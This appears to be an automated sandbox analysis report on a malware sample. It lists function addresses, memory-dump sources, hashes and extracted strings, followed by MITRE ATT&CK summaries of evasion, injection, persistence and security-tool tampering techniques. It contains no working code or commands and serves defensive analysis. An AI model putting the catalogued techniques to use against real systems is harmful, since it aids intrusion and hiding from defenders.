Opcode Fuzzy Hash: 3fa1d993b25c1fe2f367b2bb1e7744e929965263ff134ea6843c489768b8df3e
Instruction Fuzzy Hash: 76312B7150E3C49FDB138B64C890751BF71AF46214F19C5DBD8888F2A3C23A981ACB62

Function 014BD20C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4149107630.00000000014BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_14bd000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d588744cfb2861fb45887967dced34f561d46b1f643935eba6d2ee75dd360fa8
Instruction ID: 019af87365a5c7dc8d2a610ef1237a89034608657a0afbd881aabb92b39faa3c
Opcode Fuzzy Hash: d588744cfb2861fb45887967dced34f561d46b1f643935eba6d2ee75dd360fa8
Instruction Fuzzy Hash: 50214671904284DFDB09DF58D5C4B6BBB65FB84338F20C6AAD8090B366C37AD406CA71

Function 014BD3BC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4149107630.00000000014BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_14bd000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0a515b2fe5a52c272ed5b7905ea06d430044c71f412b3f9121bd68ec45c1c14
Instruction ID: 38d20afc6d7b5f80669b5ed8c817da953a6f1b93c228507c2b674116fc2a4e0f
Opcode Fuzzy Hash: a0a515b2fe5a52c272ed5b7905ea06d430044c71f412b3f9121bd68ec45c1c14
Instruction Fuzzy Hash: B2212571900200DFCB05DF58D5C4BA6BB65FB84318F20C5BED8094B366C37AE446CA71

Function 014BD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4149107630.00000000014BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_14bd000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80d602155e46468ff50cb0a580de2af79c52e88091a2158399be190b0650082a
Instruction ID: adee3e82caa9c93bf2b841fa075df1085a721e410f4cef4b6fc8f04cdd18f608
Opcode Fuzzy Hash: 80d602155e46468ff50cb0a580de2af79c52e88091a2158399be190b0650082a
Instruction Fuzzy Hash: 112100B1904204DFCB15DF68C9C4B66BBA5FB8831CF20C5AAE9494B366C73AD447CA71

Function 06CA6D6B Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7021a2731c0d286e90cfc81a9b9efd93d9d18c8379135d5e4b72c8957a3e57d4
Instruction ID: 429d7dedaaa88bc7b43a12e150bbf8a0633825c31958a4efc2d4c0f8b5766d29
Opcode Fuzzy Hash: 7021a2731c0d286e90cfc81a9b9efd93d9d18c8379135d5e4b72c8957a3e57d4
Instruction Fuzzy Hash: F821C034F1121A9FDF84DA69E8546AEB7B3EB84358F288429E405EB344D731ED52CBD0

Function 06CA30D7 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081323744c5a1cc52d963ee3aa76d72e42561f3baca98f13030bbc2fb5e33345
Instruction ID: 3e1cb89dd014fef8a76f4f441bc671c06a6890a9ea99b9d553d8f81a7c6fb64e
Opcode Fuzzy Hash: 081323744c5a1cc52d963ee3aa76d72e42561f3baca98f13030bbc2fb5e33345
Instruction Fuzzy Hash: CB11B475E002194FCF54DBB8D8905EEB7B1FB89304F10456AD109EB344DA31CA41CB90

Function 06CA3C40 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 845222be8278a5846d8d8788be20df60593cebad6b84d1d908c7c9a054ab047f
Instruction ID: 9af068c829e627b434c132fbac1ef511b6422881ee5e88600281f51af38be51c
Opcode Fuzzy Hash: 845222be8278a5846d8d8788be20df60593cebad6b84d1d908c7c9a054ab047f
Instruction Fuzzy Hash: 0B118232B142255FDB54AA78CC246AF76AAEBC8219F004139D40AE7340EE34DD0287D1

Function 06CA54A1 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56d6231e2e75201f4dde72f8478a2570110af30c5bf78183d2777779b98efe84
Instruction ID: c4a02d4cd960a81db4659c7a0728d71b4f466caf62ea5e508df8bf5c04f251a1
Opcode Fuzzy Hash: 56d6231e2e75201f4dde72f8478a2570110af30c5bf78183d2777779b98efe84
Instruction Fuzzy Hash: 3F115171A007069FCB20CFA9DDC59AFFBB3FB84304B548929D11597654D731A9498BD0

Function 06CA38F8 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 228bf8a76ee3735f11c3ead7066df214f642137ed83e421e0c3cf9208915b1fd
Instruction ID: dc024ca032b08f664483f98559a5bf10487bfb78e2d49242d8d9228902c6c682
Opcode Fuzzy Hash: 228bf8a76ee3735f11c3ead7066df214f642137ed83e421e0c3cf9208915b1fd
Instruction Fuzzy Hash: 3821E8B1D01259AFCB00DFA9D984ADEFFB8FB48324F10822AE518B7250C774A554CFA5

Function 06CAEDE9 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0d9fe2d77bd42220138ce80e69846ca21ddb4ee8acfb937810071b6897244b
Instruction ID: c95aa978bb3bb22849373ce54d845e2fadbf452b44ba872ec6a68406f5bf0911
Opcode Fuzzy Hash: 3f0d9fe2d77bd42220138ce80e69846ca21ddb4ee8acfb937810071b6897244b
Instruction Fuzzy Hash: EA01D431B101221FDB659A3D9864B6F67EADBCA614F14883EF109CB341DD21CE0643D5

Function 06CA4289 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f0b2a35ce7a028f26a09d2294325c357af2698c588321436f5bb6f3402140a7
Instruction ID: ca3591413cd4124e1ac0823c0c38556b66107c207bb9ca0da88c2ed07ca3ed66
Opcode Fuzzy Hash: 8f0b2a35ce7a028f26a09d2294325c357af2698c588321436f5bb6f3402140a7
Instruction Fuzzy Hash: 8401A234B101110BDB589AADA458B2FA7DAEBC9714F14883EE10ECB744ED61DD424385

Function 014BD207 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4149107630.00000000014BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_14bd000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction ID: 241f74394840691f1794ed0d6971be5f7a9ea64ad04a358aa935fc412e4486ea
Opcode Fuzzy Hash: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction Fuzzy Hash: 4611DD76904284CFDB06CF54D5C4B56BF61FB84228F24C6AADC490B756C33AD40ACBA2

Function 014BD3B7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4149107630.00000000014BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 014BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_14bd000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 0a69a55cf7900102232aeebf82ca42aa449d72cd939c3c10ac17d239769c4120
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: D7119075904240DFDB06CF54D5C4B56BF61FB44318F24C6AAD8494B766C33AE44ACF61

Function 06CAFF2B Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59991858c658cd9781eff5392e8c1cfb6b55f6608db1763c2dfbdb5e84dbff5d
Instruction ID: 31c00042aa64450cfcd453bbef650da52bc32526d7a6f400f2c301a1b11a66af
Opcode Fuzzy Hash: 59991858c658cd9781eff5392e8c1cfb6b55f6608db1763c2dfbdb5e84dbff5d
Instruction Fuzzy Hash: 8B01D234A0A3498FCB51EFB8E81469EBFF1EB46208F1041BFC459C7256EB708945CB92

Function 06CA3900 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3bbd93215242b6e01b107d6a7d49d24ea4283e010c8e299ecd92221159327ae
Instruction ID: 46060ff69daf40c4b1e2097fb307cf2077fa623abbe5494fa275db286afff1bf
Opcode Fuzzy Hash: d3bbd93215242b6e01b107d6a7d49d24ea4283e010c8e299ecd92221159327ae
Instruction Fuzzy Hash: 7F11D3B1D01259AFCB00DF9AD984ACEFFB4FB48314F10812AE918A7240C374A554CFA5

Function 06CA4290 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e87a3218f38b753e7c8f328210bfb2a73e69aec0117f66ef33831eca9d881be0
Instruction ID: 4ae8dc428dc5acfa1e247bbf20c6ad79c3469869f916fa9da529913a1c2c479b
Opcode Fuzzy Hash: e87a3218f38b753e7c8f328210bfb2a73e69aec0117f66ef33831eca9d881be0
Instruction Fuzzy Hash: EA01D130B001210BDB689AAEA458B2FB7DAEBC9714F10C83EE10EC7744EDA1DC024389

Function 06CA3C37 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88adb70184f7d6442f5f730eb1d90c6c1db5734e91266a1ec07ba60afd249da5
Instruction ID: 0ea190917429bce65b318bc78f15c2cbe24ff3c0cc12b4802b8c58fde426c403
Opcode Fuzzy Hash: 88adb70184f7d6442f5f730eb1d90c6c1db5734e91266a1ec07ba60afd249da5
Instruction Fuzzy Hash: D101D632B141255BEB949A78DC246EF36AFDBC8208F00423ED50EE7340EE24DD0247D1

Function 06CAEDF8 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd0af9fe2e36feb031cae34588ca9d39c159350308f475524a4879a1716c621e
Instruction ID: d1146ff91fb3f0e9cc4cf4171980ad7380676a8454966b3fcb8e4b075f15000e
Opcode Fuzzy Hash: bd0af9fe2e36feb031cae34588ca9d39c159350308f475524a4879a1716c621e
Instruction Fuzzy Hash: C6018C35B101221BCF649A7EA454B2FB7DADBCDA14F14883DE10ACB344EE21DD0253D5

Function 06CAA363 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7e3d26f3c14853bf338f8dd61faccf527ca47f7a56a460ada493bd89fb9cb68
Instruction ID: 09b22833e784234d96fe3043e10c1852e13b36def0870833e043af9cc87cecc2
Opcode Fuzzy Hash: d7e3d26f3c14853bf338f8dd61faccf527ca47f7a56a460ada493bd89fb9cb68
Instruction Fuzzy Hash: C001447AB012110FDBA0EAB8E45472F73D6DB8A614F10883DE10EDB300EE31DD428380

Function 06CAA368 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82daaa50c3118d8cebdf9a15559300c4ed7fcdda720b192f3df225644d8f7ade
Instruction ID: 782d7086e90fbab13e4aeb658c816a2e2888bee461abcd9771a9a28909e960c0
Opcode Fuzzy Hash: 82daaa50c3118d8cebdf9a15559300c4ed7fcdda720b192f3df225644d8f7ade
Instruction Fuzzy Hash: AC01D134B012151FDB60EAB9E454B2EB7DAEB8A614F10883CE10ACB340EE25DC428384

Function 06CAC83B Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b79764c03e70a3df11bbb87c664137746f195a9893efb76afe42ed39b630e335
Instruction ID: 66d0742146535459e037f5868fb4af80dd0a23a300643fd9b52ed80315a85019
Opcode Fuzzy Hash: b79764c03e70a3df11bbb87c664137746f195a9893efb76afe42ed39b630e335
Instruction Fuzzy Hash: 2701F935E112259FDF54AA79E944A9EB776FB84314F00403EE905FB344D7319D0487C0

Function 06CAFF48 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23f27c89fdfc1b95888c561ec88c4dfaba2a25cc0373f8cf4987b76911f2f770
Instruction ID: 6cbddf40b73e1510a5e4bb50e8aaaf822f64b6da0c1f04d9e16881b111f8bb38
Opcode Fuzzy Hash: 23f27c89fdfc1b95888c561ec88c4dfaba2a25cc0373f8cf4987b76911f2f770
Instruction Fuzzy Hash: C0F0F874A0520A8FD780FFBCD91426EBBE6EB89204F50417E8919D7358FB70D951CB92

Function 06CA64D8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1e4d1d0e0239d94ad5c8150abef5ce9cc382e3732ad53e4c4ecdfa255f5cb5f
Instruction ID: caca3d19e83f570309681b60e2f3afffefc84fe456d01fbf0104157e442bccf4
Opcode Fuzzy Hash: b1e4d1d0e0239d94ad5c8150abef5ce9cc382e3732ad53e4c4ecdfa255f5cb5f
Instruction Fuzzy Hash: F1E0C270E1034AABDF60CEB5C915B5AB3ADD70120CF2488B8D408C7201E172CF018380

Function 06CA64D1 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4cf5273b10736d61f85677db980052fdaba009d3335e2fd0ff260dfbcf63c12
Instruction ID: b9e6751e7c91bea150a80a78af18e660f1bfebf356ad930d2762d11c89f6cbdc
Opcode Fuzzy Hash: c4cf5273b10736d61f85677db980052fdaba009d3335e2fd0ff260dfbcf63c12
Instruction Fuzzy Hash: 95E0CD70E1424697EF50CEB5C72475B73A9D74020CF248879D808D7201E135CF019380

Non-executed Functions

Function 06CA76F8 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$^q, xrefs: 06CA7C50
$^q, xrefs: 06CA77E8
$^q, xrefs: 06CA77F4
$^q, xrefs: 06CA7C44
$^q, xrefs: 06CA7BA5
$^q, xrefs: 06CA7C5A
$^q, xrefs: 06CA7C66
$^q, xrefs: 06CA7BB1
$^q, xrefs: 06CA7825
$^q, xrefs: 06CA7819

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2222239885
Opcode ID: a44cc7dd4dc541fc7d635aee753ee629f61bb1b0f8433d0cbb45b9ae75c031d4
Instruction ID: e0f2527b963eb93a29a8b1db4ee62bba36a3faf100b68afa185c18c4276df6e8
Opcode Fuzzy Hash: a44cc7dd4dc541fc7d635aee753ee629f61bb1b0f8433d0cbb45b9ae75c031d4
Instruction Fuzzy Hash: 15122D34E0031A8FDB68DF69C954AAEB7F6BF88304F208569D409AB354DB309D85CF91

Function 06CAA990 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$^q, xrefs: 06CAAA86
$^q, xrefs: 06CAAB0C
$^q, xrefs: 06CAAAE1
$^q, xrefs: 06CAAB4E
$^q, xrefs: 06CAAAED
$^q, xrefs: 06CAAB42
$^q, xrefs: 06CAAB18
$^q, xrefs: 06CAAA92

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: 58aa07c5f145bcbefc9d74fc98f04c9e1a2aba456f02963615cd36e35484cc79
Instruction ID: 07ace5e8e7ab072aca7515777105e134b33b6e914b476404c603f7d2fc687593
Opcode Fuzzy Hash: 58aa07c5f145bcbefc9d74fc98f04c9e1a2aba456f02963615cd36e35484cc79
Instruction Fuzzy Hash: 0C913D30E0030A9FEB68EFA5D554B6EBBF6BF84308F108529E401AB294DB759D45CB90

Function 06CA70F8 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$^q, xrefs: 06CA7594
$^q, xrefs: 06CA7440
$^q, xrefs: 06CA7600
$^q, xrefs: 06CA73DA
$^q, xrefs: 06CA7434
.5vq, xrefs: 06CA7153
$^q, xrefs: 06CA760C

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID: .5vq$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-390881366
Opcode ID: 5d86fbe3c808facd0574aa4290841d6e498a9a63820329d634dcfa7431aa0506
Instruction ID: 24124d3018a48c569d4061be23980a77c76fcab3c60e4ff5f9984fe422265001
Opcode Fuzzy Hash: 5d86fbe3c808facd0574aa4290841d6e498a9a63820329d634dcfa7431aa0506
Instruction Fuzzy Hash: 97F14D34A0130ACFDB59EFA9D594A6EBBB6FF84304F108529D405AB3A8DB35DC46CB50

Function 06CA8428 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$^q, xrefs: 06CA868E
$^q, xrefs: 06CA8682
$^q, xrefs: 06CA86F3
$^q, xrefs: 06CA86E7

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 718afa2b1041b248eb888348cf7bc05b4db11cc7a267350731f9086d0cb02329
Instruction ID: 7e2eaada978b7d8a1896b89297bb31814c6ddfdf73e8f0510fcdb7da112ab105
Opcode Fuzzy Hash: 718afa2b1041b248eb888348cf7bc05b4db11cc7a267350731f9086d0cb02329
Instruction Fuzzy Hash: 68B14E30A1130A8FDB54DFA9D59466EBBB6FF84304F248829D406EB395DB35DD86CB80

Function 06CA8840 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$^q, xrefs: 06CA88BF
$^q, xrefs: 06CA88CB
LR^q, xrefs: 06CA8933
LR^q, xrefs: 06CA8982

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID: LR^q$LR^q$$^q$$^q
API String ID: 0-2454687669
Opcode ID: 9f5f89ec6530ad6d46263e7666778a5f9e07ac820a2edaf2091ad6d9d1aa9f4d
Instruction ID: cd99cebddcab9b7343437a03197de029795660a935fc91dac109eb31ec4ec469
Opcode Fuzzy Hash: 9f5f89ec6530ad6d46263e7666778a5f9e07ac820a2edaf2091ad6d9d1aa9f4d
Instruction Fuzzy Hash: 3751B131B013069FDB58EF79D954A6AB7E6FF84304B10856DE405EB3A9DA30EC45CB90

Function 06CABA68 Relevance: 5.0, Strings: 4, Instructions: 40COMMON

Download Yara Rule

Strings

$^q, xrefs: 06CABC35
$^q, xrefs: 06CABC75
$^q, xrefs: 06CABC69
$^q, xrefs: 06CABC41

Memory Dump Source

Source File: 0000000D.00000002.4168964405.0000000006CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ca0000_HHhSyZN.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 027dce95b3f900d996189c0e6a10a9a262eefd3f0fd890464ca9fd7a1a5428dc
Instruction ID: f72d82882100821989d9bfb580feac74d2962e0a8dd98b31f5565352edbeb630
Opcode Fuzzy Hash: 027dce95b3f900d996189c0e6a10a9a262eefd3f0fd890464ca9fd7a1a5428dc
Instruction Fuzzy Hash: 40F0C230F102191BCF689A38D864A6E7BAADB85304F20453DD406EB348EA61DC0687C1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
